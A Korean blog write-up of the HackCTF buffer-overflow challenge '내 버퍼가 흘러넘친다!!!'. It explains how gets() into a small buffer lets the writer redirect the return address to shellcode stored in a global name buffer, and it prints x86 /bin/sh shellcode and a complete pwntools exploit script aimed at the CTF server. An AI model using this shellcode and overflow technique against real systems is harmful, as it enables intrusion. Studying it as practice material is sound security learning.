[HackCTF] 내 버퍼가 흘러넘친다!!!

2021. 5. 15. 17:53·Write-Up/HackCTF
반응형

read 함수로 &name에 0x32만큼 입력받고

gets로 &s 를 20(ebp-14h = 20) 만큼입력받는다

 

name에 쉘코드를 넣어주고 s에서 bof를 발생시켜 ret주소를 name으로 바꿔주면 풀리는 문제이다

 

사용할 쉘코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

name 주소

0x0804A060

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3003)

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
p.recvuntil("Name : ")
p.send(shellcode)

pay = "\x90"*24 + "\x60\xA0\x04\x08"
p.recvuntil("input : ")
p.send(pay)

p.interactive()

반응형

'Write-Up > HackCTF' 카테고리의 다른 글

[HackCTF] x64 Simple_size_BOF  (0) 2021.05.16
[HackCTF] x64 Buffer Overflow  (0) 2021.05.16
[HackCTF] Basic_FSB  (0) 2021.05.15
[HackCTF] Basic_BOF #2  (0) 2021.05.15
[HackCTF] Basic_BOF #1  (0) 2021.05.15
'Write-Up/HackCTF' 카테고리의 다른 글
  • [HackCTF] x64 Simple_size_BOF
  • [HackCTF] x64 Buffer Overflow
  • [HackCTF] Basic_FSB
  • [HackCTF] Basic_BOF #2
Penguin Dev
Penguin Dev
What does the Penguin say?
    글쓰기 관리
  • Penguin Dev
    Pengha!
    Penguin Dev
  • 전체
    오늘
    어제
    • 분류 전체보기 (152)
      • Java & Spring (5)
      • System Hacking (4)
      • Algorithm (8)
        • Sorting algorithm (3)
      • Python (6)
      • Web (2)
        • Web Hacking & Security (2)
      • Write-Up (108)
        • pwnable.kr (17)
        • HackCTF (16)
        • 해커스쿨 FTZ (21)
        • LOB(lord of bufferoverflow) (19)
        • LOS (lord of sql injection) (28)
        • XSS-game (6)
        • Webhacking.kr (1)
      • SUA (19)
        • 오픈소스 보안 (19)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    코드트리조별과제
    computeifpresent
    sqlinjection
    AQS
    computeifpresent()
    쿠폰발급
    computeifabsent()
    DB정리
    reentrantlock실습
    nop sled
    Lock
    LOB
    enumerate #list comprehension
    코드트리
    spring boot
    SpringBoot
    CountDownLatch
    putval()
    tabat
    Java
    ConcurrentHashMap
    ReentrantLock
    thread-safe
    lord of bufferoverflow
    spring
    동시성
    동시성처리
    concurrenthashmap vs hashmap
    hashmap vs concurrenthashmap
    computeifabsent
  • 최근 댓글

  • 반응형
  • hELLO· Designed By정상우.v4.10.3
Penguin Dev
[HackCTF] 내 버퍼가 흘러넘친다!!!
상단으로

티스토리툴바